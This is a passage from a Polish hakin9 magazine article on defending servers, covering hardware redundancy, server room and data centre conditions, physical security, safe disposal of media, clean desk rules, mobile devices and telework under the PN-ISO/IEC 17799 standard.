wykryje,  że  przesyłane  dane 
są  niezgodne  z  listą  ustalonych 
wzorców, to znaczy, że wystąpił 
błąd. Próba jego naprawy pole-
ga  na  porównaniu,  który  z  pra-
widłowych  wzorców  jest  najbar-
dziej podobny do niewłaściwego 
ciągu danych. Gdy taki wzorzec 
zostanie  znaleziony,  zastępuje 
błędne dane.

Nośniki  danych  –  serwery  to  kró-
lestwo  dysków  SCSI;  praktycznie 
nie  spotyka  się  dysków  z  interfej-
sem IDE. Wynika to, tak jak w przy-
padku wszystkich pozostałych róż-
nic  konstrukcyjnych  w  porównaniu 
do  domowych  pecetów,  ze  specy-
ficznych  wymagań  stawianych  ser-
werom.  Dyski  muszą  być  bardzo 
szybkie  i  niezawodne.  Aby  to  uzy-
skać, najczęściej stosuje się macie-
rze dyskowe typu RAID, które w za-
leżności  od  konfiguracji  podnoszą 
wydajność podzespołu dyskowego, 
zwiększają  jego  bezpieczeństwo, 
albo jedno i drugie. Ceną, jaką trze-
ba zapłacić, jest zmniejszenie prze-
strzeni dyskowej. Nawet jednak za-
stosowanie kontrolera RAID nie za-
bezpiecza przed takimi wypadkami 
losowymi jak pożar. Dlatego trzeba 
zadbać  o  dodatkowe  mechanizmy 
zabezpieczenia  danych.  Najbar-
dziej  naturalnym  narzędziem  jest 

HotPlug PCI

Jest to technologia opracowana przez firmę Compaq – standardowy mechanizm po-
zwalający wymienić uszkodzoną kartę PCI bez wyłączania zasilania. Plusem takiego 
rozwiązania jest przejmowanie funkcjonalności jednej karty sieciowej przez drugą, nie-
zauważalnie dla użytkowników (w urządzeniach Intela funkcja ta nazywa się AFT). W 
tym czasie administrator może wymienić uszkodzoną kartę na sprawną, nie wyłącza-
jąc serwera ani na sekundę. 

background image

Serwery – co im zagraża, jak się zabezpieczyć

hakin9 Nr 01/2008

www.hakin9.org

53

w  tym  wypadku  streamer  –  napęd 
odczytujący i zapisujący nośniki ta-
śmowe. Mają one pojemność od kil-
ku  do  kilkuset  GB  i  pozwalają  bar-
dzo szybko wykonać kopię zapaso-
wą. Niestety, streamery w segmen-
cie  tanich  serwerów  nie  są  popu-
larne  ze  względu  na  cenę,  oscylu-
jącą  w  granicach  kilku  tysięcy  zło-
tych.  Kontroler  RAID  ma  wbudo-
waną pamięć cache, która powinna 
być  podtrzymywana  przez  baterie 
–  w  przypadku  awarii  zasilania  nie 
trzeba  się  obawiać  utraty  danych 
będących akurat w pamięci cache. 
Dodatkowym  atutem  jest  technika 
OBDR,  dzięki  której  w  razie  awarii 
systemu można uruchomić go z ka-
sety, zawierającej jednocześnie ko-
pię zapasową.

Kieszenie  na  dyski  typu  Hot 

Swap  –  równie  istotne  są  możliwo-
ści  rozbudowy  serwera.  Wprawdzie 
w  chwili  zakupu  jego  konfiguracja 
może być wystarczająca, ale już nie-
bawem  pojawi  się  potrzeba  doda-
nia  pamięci  czy  kolejnych  dysków. 
Szczególnie  istotna  jest  liczba  kie-
szeni na twarde dyski. Najlepiej, że-
by kieszenie były typu Hot Swap i do-
stępne z zewnątrz – co oznacza, że 
dyski można dodawać i usuwać pod-
czas  pracy  systemu.  Pięć  dostęp-
nych z zewnątrz kieszeni na dyski to 
rozwiązanie  bardzo  dobre,  trzy  kie-
szenie – rozsądne.

Zasilanie – podłączenie serwera 

do kontaktu, nawet przez listwę zasi-
lającą kupioną za 30 złotych w skle-
pie komputerowym to pomyłka. Ser-
wer ma działać nieprzerwanie, a za-
tem  nie  może  restartować  się,  ile-
kroć  spadnie  napięcie.  Podłączenie 
do UPSa za 200 złotych również od-
pada, bo nawet bez monitora serwer 
z szybkim procesorem i 2 twardymi 
dyskami  zużyje  cały  prąd  w  ciągu 
20  minut).  Przydałby  się  zatem  po-
rządny UPS, a nawet – jeśli przerwy 
w dostawie prądu są częstsze – ge-
nerator prądu. Poza tym nie można 
go ustawić w biurze, a zatem jest po-
trzebne odpowiednie pomieszczenie, 
aby go tam trzymać. Jedną z częst-
szych  przyczyn  awarii  jest  uszko-
dzenie  zasilacza  komputera.  Dlate-
go  wielu  producentów  decyduje  się 

na wykorzystanie nadmiarowych za-
silaczy; w przypadku awarii jednego 
drugi natychmiast (w przeciągu kilku 
milisekund)  przejmuje  zasilanie  ser-
wera. Ważne jest również, aby moc 
zasilacza nie była niższa niż 350 W, 
a optimum to 400 W. 

Zasilacze  zapewniają  również 

nadmiarowość mocy, niezbędną nie 
tylko ze względu na możliwość spad-
ku  mocy,  lecz  i  z  tego  powodu,  że 
serwery  stosowane  w  biznesie  po-
bierają więcej energii.

Bezpieczeństwo serwerów wspo-

maga również specjalny układ BMC 
(Baseboard  Management  Control-
ler
),  odpowiadający  za  monitoro-
wanie  stanu  pracy  poszczególnych 
komponentów wchodzących w skład 
serwera. BMC zbiera informacje po-
chodzące  z  czujników  rozmiesz-
czonych  w  różnych  częściach  płyty 
głównej i obudowy (np. o temperatu-
rze procesorów, prędkości obrotowej 
wentylatorów,  napięciach  zasilania). 
Dzięki  oprogramowaniu  współpra-
cującemu  z  BMC  administrator  mo-
że być automatycznie powiadomiony 
o zdarzeniach.

Powietrze  wewnątrz  obudowy 

–  bezawaryjność  serwera  w  dużej 
mierze zależy od odpowiedniej cyr-
kulacji  powietrza  wewnątrz  obudo-
wy. W związku z tym obudowy ser-
werowe są standardowo wyposaża-
ne  w  dodatkowe  wentylatory,  które 
zasysają  chłodne  powietrze,  a  wy-
dmuchują nagrzane. Bardzo istotne 
jest odpowiednie poprowadzenie ka-
bli,  często  mocowanych  w  specjal-
nych  osłonkach  zmniejszających 
ich  obwód.  Wyposażenie  obudowy 
w  dwa  wentylatory,  w  połączeniu 
z  uporządkowanym  i  przestronnym 
wnętrzem,  powinno  już  zagwaran-
tować  dobrą  cyrkulację  powietrza. 
Niektórzy  z  producentów  stosują 
specjalnie wyprofilowany plastikowy 
tunel  dodatkowo  ułatwiając  odpro-
wadzanie  ciepła.  Same  wentylato-
ry powinny mieć charakter hot plug, 
aby można je było odłączyć lub pod-
łączyć  za  pomocą  jednego  zatrza-
sku, podczas pracy serwera. Rozbu-
dowany serwer w swej architekturze 
wydziela znacznie więcej ciepła niż 
zwykły  komputer.  Dlatego  klimaty-

zacja pomieszczenia też jest ważna. 
W  centrach  serwerowych  ma  ona 
takie samo znaczenie, jak odprowa-
dzanie ciepła z radiatorów.

Pomieszczenie  –  dostosowanie 

pomieszczenia  do  pracy  serwera 
jest  kluczową  sprawą,    której  głów-
nymi aspektami są: podłoga i ściany 
pokryte  elementami  antypyłowymi, 
z  których  wyczyszczenie  kurzu  jest 
bardzo łatwe; ognioodporne elemen-
ty służące do budowy ścian i podło-
gi;  zdublowane  korytarze  na  kable 
zasilające – oddzielone od kabli sie-
ciowych  –  umieszczone  pod  podło-
gą. W pomieszczeniu montujemy kli-
matyzację,  która  zapewni  tempera-
turę na poziomie 20°C +/- 1°C oraz 
wilgotność powietrza 45-50 proc, co 
obniży ryzyko awarii i przedłuży ży-
wotność  sprzętu.  Przy  klimatyzacji 
należy  także  pamiętać  o  kanałach 
wentylacyjnych,  ponieważ  tempera-
tura w środku serwera jest kilkakrot-
nie  wyższa  niż  na  zewnątrz  szafy. 
Tam, gdzie zaczyna się wykorzysty-
wać chłodzenie wodne, uwidaczniają 
się  jego  zalety  polegające  na  ogra-
niczeniu hałasu. Te wszystkie syste-
my są ze sobą sprzężone, podłączo-
ne  do  programu  nadzorcy,  poprzez 
który  wykonywana  jest  analiza  po-
miaru emisji ciepła, wykorzystywana 
do sterowania poborem mocy przez 
pojedynczy serwer lub grupę kompu-
terów. Określenie rozkładu tempera-
tur wraz z punktami krytycznymi po-
zwala ocenić, gdzie nastąpiła awaria 
systemu chłodzenia, klimatyzacji lub 
urządzeń.

Centra serwerowe 

Data Center to w pierwszej kolejno-
ści budynek – jego projekt i wykona-
nie  uwzględniające  wszystkie  czyn-
niki  decydujące  o  jakości  pomiesz-
czeń  do  przechowywania  sprzętu, 
oraz infrastruktura – elektronika, de-
terminująca  w  dużej  mierze  stopień 
niezawodności  zabezpieczeń.  Kon-
strukcja  bezpiecznego  budynku  po-
winna zapewniać ergonomiczne roz-
mieszczenie szaf i stojaków, oddzie-
lenie  sali  z  serwerami  od  pomiesz-
czeń  dla  operatorów,  podłogi  mu-
szą  umożliwiać  prowadzenie  kabli 
w  kanałach.  Zabezpieczenia  przed 

background image

hakin9 Nr 01/2008

www.hakin9.org

Obrona

54

niepowołanymi  użytkownikami  to 
system  kontroli  dostępu  i  ochrona 
obiektu  –  karty  elektroniczne,  sys-
temy  alarmowe,  strażnicy,  telewizja 
przemysłowa. 

Zabezpieczenie  przed  czynni-

kami  środowiska  (katastrofami)  to 
w  przypadku  Polski  przede  wszyst-
kim ochrona przed pożarem – drzwi 
wytrzymujące napór ognia oraz sys-
temy  wykrywania  i  automatycznego 
gaszenia  pożarów.  W  ramach  za-
pewnienia  bezpieczeństwa  zadbać 
należy  także  o  zasilanie  –  UPS-y, 
agregaty prądotwórcze i własną sta-
cję  transformatorową.  Istotna  jest 
również  szybka  i  niezawodna  (naj-
lepiej  redundantna)  komunikacja  ze 
światem zewnętrznym.

Bezpieczeństwo 

fizyczne i środowiskowe

Powszechne  jest  przeświadczenie, 
że  firewall  chroni  przed  wszystkimi 
zagrożeniami, jakie mogą czyhać na 
informacje  posiadane  przez  firmę. 
Wydawane są ogromne pieniądze na 
kolejne systemy wykrywania włamań 
w sieciach, ściany ogniowe, oprogra-
mowanie  antywirusowe,  wirtualne 
sieci prywatne. Zabezpieczenia te są 
niewątpliwie  potrzebne,  ale  dotyczą 
warstwy sieciowej. Zapominamy na-
tomiast o bezpieczeństwie fizycznym 
i środowiskowym. Poufne dane moż-
na zdobyć nie poprzez podsłuchanie 
ich w czasie transmisji, ale włamując 
się do biura i kradnąc stojący w kory-
tarzu serwer plików.

Idąc dalej tą ścieżką – doskonale 

skonfigurowany firewall chroniący łą-
cze internetowe nie ochroni sieci fir-
my, jeśli któryś z pracowników zain-
staluje w swoim komputerze modem, 
a włamywacz wykorzysta go do wej-
ścia  do  systemu.  Tajne  informacje 
o  nowym  produkcie  nie  muszą  zo-
stać  zdobyte  dzięki  włamaniu  na 
serwer,  jeśli  konkurencja  znajdzie 
wydruki  ze  szczegółowymi  opisami 
i  raportami  na  śmietniku.  Szczegó-
ły umowy nie zostaną zdobyte przez 
złamanie sieci WiFi, ale dzięki pod-
słuchaniu  rozmowy  prowadzonej 
przez prezesów w kawiarni. 

Zagadnienie  bezpieczeństwa  fi-

zycznego  w  politykach  bezpieczeń-

stwa  wielu  firm  traktowane  jest  po-
wierzchownie.  Może  okazać  się  to 
niewybaczalnym  błędem  popełnio-
nym przez autora tejże polityki.

Ochrona  fizyczna  urządzeń  słu-

żących  do  przetwarzania  informacji 
powinna rozpocząć się od wydziele-
nia obszarów bezpiecznych. Należy 
stworzyć bariery fizyczne otaczające 
pomieszczenia  firmy.  Kolejne  barie-
ry  tworzą  następne  obwody  zabez-
pieczające,  mogą  to  być:  ogrodze-
nie dookoła budynku, ściana, drzwi, 
zamki  w  drzwiach,  brama  wejścio-
wa  otwierana  za  pomocą  karty,  re-
cepcja  obsługiwana  przez  człowie-
ka,  oświetlenie  chronionego  obsza-
ru, wspomniane już kamery telewizji 
przemysłowej (CCTV), systemy alar-
mowe, pracownicy ochrony.

Obwód  zabezpieczający  musi 

być solidny i nie powinno być w nim 
przerw ani obszarów, które mogłyby 
ułatwić  włamanie.  Obszarem  bez-
piecznym może być zamykane biuro 
lub  kilka  pomieszczeń  znajdujących 
się wewnątrz fizycznego obwodu za-
bezpieczającego. 

Niedopuszczalna  jest  sytuacja, 

w której obce osoby chodzą po biu-
rze  i  mogą  mieć  dostęp  do  urzą-
dzeń  przetwarzających  dane.  Go-
ście  wchodzący  do  bezpiecznych 
obszarów  powinni  być  nadzorowa-
ni, a data i czas ich wejścia oraz wyj-
ścia – rejestrowane. W większych fir-
mach wskazane jest noszenie przez 
pracowników  identyfikatorów  pod-
czas przebywania w obszarach bez-
piecznych.  Wszystkie  osoby,  które 
nie  są  w  towarzystwie  innego  pra-
cownika i nie posiadają identyfikato-
ra, powinny zostać zapytane o tożsa-
mość oraz cel pobytu.

Zastosowanie  zamków  biome-

trycznych  lub  kart  magnetycznych 
dodatkowo  poprawia  bezpieczeń-
stwo  zamykanych  pomieszczeń. 
Warto  zapisywać  informacje  o  uda-
nych i nieudanych przypadkach uzy-
skania dostępu w celach audytu. Po-
lityka  bezpieczeństwa  musi  wyma-
gać aktualizowania praw dostępu do 
obszarów  bezpiecznych  oraz  okre-
ślać, kiedy prawa te powinny być co-
fane (na przykład na czas, kiedy pra-
cownik wyjeżdża na urlop).

Fizyczna  ochrona  sprzętu  po-

winna  przeciwdziałać  nie  tylko  za-
grożeniu nieupoważnionego dostę-
pu  do  informacji,  ale  również  nie-
bezpiecznym  czynnikom  środowi-
skowym,  które  mogłyby  wpłynąć 
na  działanie  urządzeń.  Podstawo-
we  kategorie  zagrożeń,  na  które 
sprzęt może być narażony to próby 
nieupoważnionego dostępu, zagro-
żenia  środowiskowe  –  pożar,  po-
wódź,  trzęsienie  ziemi,  pył,  dym, 
w środowiskach przemysłowych pył, 
kurz,  drgania,  oddziaływania  che-
miczne, awarie zasilania, klimatyza-
cji, przerwa w dostawie wody, inter-
ferencje ze źródeł zasilania, promie-
niowanie elektromagnetyczne.

Monitorowanie  warunków  środo-

wiskowych  pomoże  wykryć  czynniki, 
które  mogłyby  wpłynąć  niekorzystnie 
na  pracę  urządzeń  przetwarzających 
informacje  lub  spowodować  ich  awa-
rię. Pomocna może być też symulacja 
różnego  rodzaju  katastrof  (oczywiście 
nie proponuje się detonowania bomby 
w korytarzu lub zalania serwerowni, ale 
raczej analizę teoretyczną, popartą do-
świadczeniami innych firm). Urządzenia 
przetwarzające  dane  powinny  zostać 
umieszczone w taki sposób, by zmini-
malizować  możliwość  niepożądanego 
dostępu  do  obszarów  roboczych  oraz 
ograniczyć  do  minimum  brak  nadzo-
ru  podczas  ich  używania.  Najważniej-
sze  urządzenia  powinny  zostać  roz-
mieszczone w obszarach bezpiecznych 
tak, aby wykluczyć publiczny dostęp do 
nich.  Należy  pamiętać  również  o  dru-
karkach  sieciowych,  kserokopiarkach 
czy urządzeniach faksowych.

Dla zachowania ciągłości pracy fir-

my szczególnie istotne jest zapewnie-
nie ciągłości zasilania w energię elek-
tryczną. W zależności od szacowane-
go ryzyka i poziomu ciągłości działa-
nia,  który  należy  zapewnić,  możemy 
stosować  następujące  rozwiązania 
zasilacze  awaryjne  (UPS),  generator 
awaryjny  –  jeśli  przerwy  w  dostawie 
energii  elektrycznej  mogą  być  dłuż-
sze – a także zwielokrotnione linie za-
silające.  Zasilanie  awaryjne  powinno 
pozwolić na kontynuację pracy przez 
urządzenia służące przetwarzaniu in-
formacji, ale również zapewnić działa-
nie oświetlenia i łączności.

background image

Serwery – co im zagraża, jak się zabezpieczyć

hakin9 Nr 01/2008

www.hakin9.org

55

Zabezpieczając  linie  komunikacyj-

ne  należy  pamiętać  nie  tylko  o  war-
stwie sieciowej, ale również o ich bez-
pieczeństwie  fizycznym.  Okablowanie 
telekomunikacyjne  powinno  być  chro-
nione przed podsłuchem lub uszkodze-
niem. Jeśli tylko jest to możliwe, to na-
leży unikać wyznaczania tras kabli bie-
gnących przez obszary publiczne. Je-
śli nie ma takiej możliwości, okablowa-
nie powinno zostać poprowadzone pod 
ziemią.  Wszystkie  punkty  rozdzielcze 
sieci powinny znajdować się w zamy-
kanych skrzynkach lub szafach telein-
formatycznych  umieszczonych  w  za-
mykanych pomieszczeniach.

Zastosowanie  okablowania  świa-

tłowodowego  w  miejsce  miedziane-
go również poprawia bezpieczeństwo 
instalacji, ponieważ uniemożliwia nie-
wykrywalne  naruszenie  ciągłości 
traktu. Oprócz tego połączenie świa-
tłowodowe jest odporne na interferen-
cje sygnału czy uderzenie pioruna.

Informacje  dotyczące  bezpie-

czeństwa urządzeń przenośnych po-
zwalających na pracę poza siedzibą 
firmy oraz pracy zdalnej znajdują się 
w dalszej części tekstu.

Co jakiś czas informowani jeste-

śmy przez media o kradzieży danych 
osobowych, znalezieniu poufnych in-
formacji  na  podwórkowych  śmietni-
kach, w kubłach na śmieci lub nawet 
na polu. Co gorsza, lekkomyślne po-
dejście  do  bezpieczeństwa  dotyczy 
nie  tylko  dokumentów  papierowych, 
ale  również  nośników  komputero-
wych, które mogą pomieścić jeszcze 
więcej poufnych informacji. 

Firmy nie dbają o własne bezpie-

czeństwo.  Przyczyną  jest  nie  tylko 
brak odpowiedniej wiedzy i świadomo-
ści  potrzeby  zabezpieczenia  wszel-
kich  nośników  danych,  ale  również 
zaniechanie i niedbalstwo. Naukowcy 
z  wydziału  socjologii  Uniwersyte-
tu  Wrocławskiego,  na  zlecenie  firmy 
Fellowes  Polska,  przygotowali  raport 
na  temat  sposobów  obchodzenia  się 
z dokumentami zawierającymi istotne 
dane osobowe i firmowe.

Przebadano  146  firm,  z  których 

95%  odpowiedziało,  że:  Większość 
z nas niszczy, archiwizuje lub wysyła 
do centrali poufne dokumenty zawie-
rające istotne dane
. Następnie spraw-

dzono  zawartość  kilkuset  worków  na 
śmieci.  Wnioski  są  co  najmniej  nie-
pokojące:  mimo  powszechnej  świa-
domości  potrzeby  stosowania  jakich-
kolwiek  procedur  chronienia  danych 
i  niszczenia  zbędnych  dokumentów, 
w  38%  przejrzanych  worków  znale-
ziono dokumenty, które zawierały da-
ne personalne, faktury VAT, rachunki, 
oferty przetargowe, umowy.

Ankietowani  pracownicy  firm  za-

deklarowali,  że  ponad  80%  zbędnej 
dokumentacji  zostaje  zabezpieczone 
(nie  upublicznione)  –  jest  niszczone, 
archiwizowane,  składowane.  Mimo  to 
44%  przeszukanych  worków  zawiera-
ło  dokumenty,  które  w  52%  przypad-
ków zawierały możliwe do odczytania 
dane i poufne informacje. Badania zo-
stały  przeprowadzone  na  stacji  prze-
ładunku  śmieci,  gdzie  odpady  są  już
w pewnym stopniu przetworzone. Do-
tarcie do śmieci znajdujących się jesz-
cze w śmietniku, tuż przy biurze firmy, 
może istotnie zwiększyć prawdopodo-
bieństwo odczytania poufnych informa-
cji.  Należy  pamiętać,  że  najczęściej 
funkcje  systemowe  usuwające  dane 
z nośników nie gwarantują 100% pew-
ności,  że  danych  tych  nie  da  się  po-
nownie odczytać. Dane mogą zostać 
ujawnione  przez  nieostrożną  sprze-
daż  sprzętu  lub  przekazanie  do  po-
nownego  użycia.  Warto  rozważyć  fi-
zyczne  niszczenie  wszystkich  niepo-
trzebnych już urządzeń przechowują-
cych  ważne  informacje  lub  stosowa-
nie programów pozwalających na bez-
pieczne  nadpisanie  danych  (dostęp-
ne są wersje dla wszystkich popular-
nych  systemów  operacyjnych).  Jeśli 
nośniki służą do przechowywania da-
nych osobowych, to wymóg usunięcia 
z nich danych w sposób uniemożliwia-
jący ich odzyskanie nakłada Rozporzą-
dzenie Ministra Spraw Wewnętrznych i 
Administracji z dnia 29 kwietnia 2004 r. 
w  sprawie  dokumentacji  przetwarza-
nia danych osobowych oraz warunków 
technicznych  i  organizacyjnych,  jakim 
powinny odpowiadać urządzenia i sys-
temy  informatyczne  służące  do  prze-
twarzania  danych  osobowych  (Dz.  U. 
2004, nr 100, poz. 1024). 

Wskazane jest opracowanie pro-

cedur  zarządzania  wyjmowalnymi 
nośnikami  danych.  Norma  PN-ISO/

IEC 17799 zaleca rozważenie nastę-
pujących wytycznych: 

•   zaleca  się  wymazanie  poprzed-

niej  zawartości  wszelkich  nośni-
ków  wielokrotnego  użytku,  które 
mają być wyniesione z instytucji, 
o ile nie będzie już potrzebna,

•   zaleca się, aby w przypadku wyno-

szenia jakichkolwiek nośników z in-
stytucji potrzebne było upoważnie-
nie, a w celu przeprowadzenia póź-
niejszego audytu zaleca się prowa-
dzenie odpowiedniej ewidencji, 

•   zaleca się przechowywanie wszyst-

kich nośników w bezpiecznym miej-
scu, zgodnie z zaleceniami ich pro-
ducentów. 

Poufne informacje mogą zostać ujaw-
nione, zmodyfikowane lub uszkodzone 
również w trakcie ich fizycznego trans-
portu.  Problem,  wbrew  pozorom,  nie 
jest  wydumany  i  może  przytrafić  się 
nawet największym. W maju 2005 ro-
ku Citigroup, największy bank na świe-
cie, stracił dane i historię transakcji 3,9 
miliona swoich klientów podczas trans-
portu taśm streamera przez firmę ku-
rierską. Pamiętając o ochronie zawar-
tości  przesyłek  przed  uszkodzeniami 
fizycznymi, przy okazji warto wykorzy-
stać opakowania odporne na manipula-
cje. Krytyczne dane mogą być dzielone 
na  kilka  elementów  i  przesyłane  przy 
pomocy różnych firm, różnymi trasami 
i  środkami  transportu.  Wymagania  te 
należy dostosować do ważności i pouf-
ności transportowanych informacji. 

Szczególną uwagę należy zwrócić 

na nośniki, z których dane należy usu-
wać w sposób bezpieczny, czyli doku-
menty  papierowe,  nagrania  głosowe, 
wydrukowane  raporty,  jednorazowe 
taśmy  barwiące  do  drukarek,  taśmy 
magnetyczne,  nośniki  optyczne  (pły-
ty CD i DVD), dyskietki, wydruki pro-
gramów,  dane  z  testów,  dokumenta-
cję systemową. Niszczenie dokumen-
tów, nośników danych i sprzętu moż-
na zlecić zewnętrznym firmom posia-
dającym profesjonalne urządzenia po-
zwalające  przeprowadzić  niszczenie 
w sposób bezpieczny. 

Ochrona  dokumentów  papiero-

wych i komputerowych nośników nie 
rozwiązuje w 100% problemu – po-

background image

hakin9 Nr 01/2008

www.hakin9.org

Obrona

56

zostają  jeszcze  inne  formy  wymia-
ny  informacji,  jak  komunikacja  gło-
sowa, wizyjna lub faksowa. Rozmo-
wa  prowadzona  w  miejscu  publicz-
nym  może  zostać  podsłuchana, 
wiadomości pozostawione na auto-
matycznej  sekretarce  –  odsłucha-
ne  przez  niepowołane  osoby,  faks 
–  przesłany  przez  pomyłkę  do  nie-
właściwej osoby lub odebrany przez 
osobę  nie  posiadającą  odpowied-
niego upoważnienia. 

Polityka czystego biurka poma-

ga  zapobiegać  ujawnieniu  lub  kra-
dzieży informacji. Zdrowy rozsądek 
nakazuje  nie  zostawiać  na  wierz-
chu żadnych dokumentów, kiedy na 
pewien okres czasu tracimy kontro-
lę nad nimi (nawet jeśli tylko prze-
chodzimy  do  innego  pokoju).  Nie-
potrzebne w danym momencie do-
kumenty  papierowe  i  nośniki  da-
nych  (płyty  CD,  DVD,  pendrive'y, 
taśmy)  należy  bezwzględnie  cho-
wać  w  zamykanych  szafach.  Pod 
żadnym  pozorem  dokumenty  i  no-
śniki danych nie powinny pozostać 
niezabezpieczone  po  zakończeniu 
pracy  –  w  razie  włamania,  pożaru 
lub powodzi mogłyby dostać się w 
niepowołane ręce lub zostać znisz-
czone. 

Punktami,  które  należy  szcze-

gólnie kontrolować, są drukarki sie-
ciowe  i  kserokopiarki  umieszczone 
bardzo  często  w  korytarzach.  Pra-
cownicy  powinni  odbierać  doku-
menty  natychmiast  po  wykonaniu 
przez  urządzenie  zleconego  zada-
nia.  Nie  powinny  pozostawać  do-
stępne ani dla obcych osób, ani dla 
pracowników nie posiadających sto-
sownych uprawnień. 

Zasada  czystego  ekranu  jest 

analogiczna i odnosi się do serwe-
rów, stacji roboczych oraz urządzeń 
przenośnych – laptopów oraz palm-
topów.  Każdorazowe  odejście  od 
stanowiska  pracy  powinno  zostać 
poprzedzone  zablokowaniem  kla-
wiatury  i  włączeniem  wygaszacza 
ekranu  zabezpieczonego  hasłem. 
Oczywiście  nie  musi  to  wymagać 
wykonania akcji ze strony użytkow-
nika  –  może  odbywać  się  automa-
tycznie, pod warunkiem, że czas ak-
tywacji zabezpieczenia jest wystar-

czająco  krótki  (należy  dopasować 
go  do  klasyfikacji  przetwarzanych 
danych i ryzyka ich utraty). 

Ogólne  zasady  związane  z  tą 

kwestią przedstawiono poniżej: 

•  nawet,  jeśli  opuszcza  się  pokój 

tylko  na  chwilę,  należy  go  za-
mknąć na klucz lub schować do 
zamykanej szafy wszelkie ważne 
dokumenty i nośniki danych (pły-
ty CD, DVD, pendrive'y, taśmy),

•  po zakończeniu pracy dokumen-

ty i komputerowe nośniki danych 
powinny  być  przechowywane 
w zamykanych, zabezpieczonych 
i ognioodpornych szafach,

•  na zakończenie pracy należy za-

mknąć  aktywne  sesje  oraz  wy-
rejestrować  się  (wylogować  się) 
z  serwerów,  lub  też  stosować 
oprogramowanie  blokujące  kla-
wiaturę  i  wygaszacz  ekranu  za-
bezpieczony hasłem. 

Do  faksów,  kserokopiarek  i  druka-
rek  nie  powinny  mieć  dostępu  oso-
by  postronne.  Jeśli  jest  to  możliwe, 
urządzenia te powinny być zabloko-
wane  poza  normalnymi  godzinami 
pracy.  Niezwłocznie  po  otrzymaniu, 
skopiowaniu  lub  wydrukowaniu  do-
kumentów należy zabrać je z podaj-
nika urządzenia. 

Korzystanie z urządzeń przeno-

śnych – laptopów, palmtopów, tele-
fonów  komórkowych  w  miejscach 
publicznych  i  innych,  nie  chronio-
nych, miejscach poza siedzibą firmy 
wymaga  ostrożności,  by  nie  ujaw-
nić  osobom  nieupoważnionym  in-
formacji  biznesowych.  Zagrożenia, 
na  które  należy  szczególnie  zwró-
cić uwagę:

•   podglądanie  przez  nieupoważ-

nione  osoby  ekranu  urządze-
nia lub klawiatury, podsłuchanie 
rozmowy.  Rozmowy  dotyczą-
ce strategicznych spraw dla fir-
my mogą być prowadzone tylko 
w bezpiecznych, sprawdzonych 
miejscach. Nie powinny się od-
bywać  w  obecności  osób  przy-
padkowych, w miejscach takich 
jak  prezentacje,  targi  czy  re-
stauracje,

•   utrata urządzenia przenośnego: 

zgubienie  lub  kradzież  (przy-
padkowa  –  złodziej  nie  krad-
nie urządzenia dla danych, któ-
re się na nim znajdują, a dla sa-
mego urządzenia lub świadoma 
– dla złodzieja istotne są dane, 
które  znajdują  się  w  pamięci 
urządzenia).  Przenośne  urzą-
dzenia  komputerowe  powinny 
być wyposażone w fizyczne za-
bezpieczenia przed kradzieżą. 

Urządzenia  przenośne  oraz  nośni-
ki  danych  zabierane  z  siedziby  fir-
my  nie  powinny  być  pozostawiane 
bez  nadzoru  w  miejscach  publicz-
nych. Zaleca się przewożenie kom-
puterów  przenośnych  jako  bagażu 
podręcznego  i,  jeśli  jest  to  możli-
we,  maskowanie  ich  podczas  po-
dróży  (charakterystyczne  torby  na 
laptopy  nie  są  najlepszym  rozwią-
zaniem).  Nie  należy  pozostawiać 
dokumentów,  nośników  danych 
i sprzętu w hotelach ani w samocho-
dzie bez kontroli. 

Informacje  przechowywane  na 

urządzeniach przenośnych lub kom-
puterowych nośnikach danych mogą 
ulec uszkodzeniu na przykład w wy-
niku  działania  silnego  pola  elektro-
magnetycznego – należy przestrze-
gać  zaleceń  producentów  dotyczą-
cych  ochrony  sprzętu.  Wskazane 
jest, aby sprzęt wykorzystywany po-
za siedzibą firmy był ubezpieczony. 

Zastosowane  środki  bezpie-

czeństwa  należy  dobrać  do  osza-
cowanego ryzyka utraty danych wy-
korzystywanych podczas pracy po-
za siedzibą. 

Jeszcze innym regulacjom zwią-

zanym  z  bezpieczeństwem  powin-
na  podlegać,  coraz  popularniej-
sza, praca na odległość (telepraca). 
Pracownik  wykonuje  swoją  pracę 
w  pewnym  stałym  miejscu  znajdu-
jącym się poza siedzibą firmy. Miej-
sce  to  powinno  być  w  odpowiedni 
sposób  chronione:  zarówno  przed 
kradzieżą  sprzętu  i  informacji,  nie-
uprawnionym ujawnieniem informa-
cji, jak również nieuprawnionym do-
stępem do wewnętrznych systemów 
instytucji  czy  niewłaściwym  wyko-
rzystaniem urządzeń. 

background image

Serwery – co im zagraża, jak się zabezpieczyć

Norma  PN-ISO/IEC  17799  za-

leca,  aby  firma  rozważyła  stwo-
rzenie  polityki  i  określiła  standardy 
dotyczące kontroli czynności wyko-
nywanych w ramach pracy na odle-
głość.  Upoważnienie  pozwalające 
na  taką  pracę  powinno  zostać  wy-
dane tylko i wyłącznie, kiedy zapew-
niona została właściwa organizacja, 
wdrożono  zabezpieczenia  oraz  za-
pewniono  ich  zgodność  z  polityką 
bezpieczeństwa firmy. Norma zale-
ca rozważenie między innymi nastę-
pujących zagadnień:

•   rzeczywiste  bezpieczeństwo  fi-

zyczne  miejsca  pracy;  należy 
wziąć  pod  uwagę  zabezpiecze-
nia fizyczne budynku i lokalnego 
środowiska,

•   wymagania bezpieczeństwa doty-

czące łączności, biorąc pod uwa-
gę potrzebę zdalnego dostępu do 
wewnętrznych  systemów  instytu-
cji,  wrażliwość  informacji,  której 
dostęp będzie dotyczył, pomijając 
natomiast  w  rozważaniach  łącze 

telekomunikacyjne  i  wrażliwość 
wewnętrznego systemu,

•   zagrożenia nieuprawnionego do-

stępu do informacji lub zasobów 
ze strony innych osób znajdują-
cych się w pobliżu, na przykład 
rodziny  i  przyjaciół.  Określenie 
zasad i wytycznych dotyczących 
dostępu rodziny i gości do urzą-
dzeń i informacji,

•   określenie  dozwolonych  prac, 

godzin  pracy,  klasyfikacji  infor-
macji,  które  mogą  być  w  po-
siadaniu  pracownika  wykonują-
cego  pracę  na  odległość  oraz 
określenie wewnętrznych syste-
mów, do których ma on upraw-
niony dostęp.

Urządzenia zdalnego dostępu – KVM 
i RR to skrót od Keyboard Video Mo-
use i Remote Reset. Są to – w skró-
cie – urządzenia umożliwiające zdal-
ny  dostęp  do  konsoli,  pozwalające 
na  zdalne  zarządzanie  komputerem. 
Istnieją  różnego  rodzaju  urządzenia 
–  od  wdzwanianych  telefonicznie  po 
urządzenia IP. Komuś, kto nie ma po-
jęcia, jak wygląda praca administrato-
ra, może się wydawać, że takie urzą-
dzenie to luksus, ponieważ admin za-
wsze  może  podejść  do  komputera. 
Problem zaczyna się jednak w nocy. 
Takie  urządzenie  zwiększa  komfort 
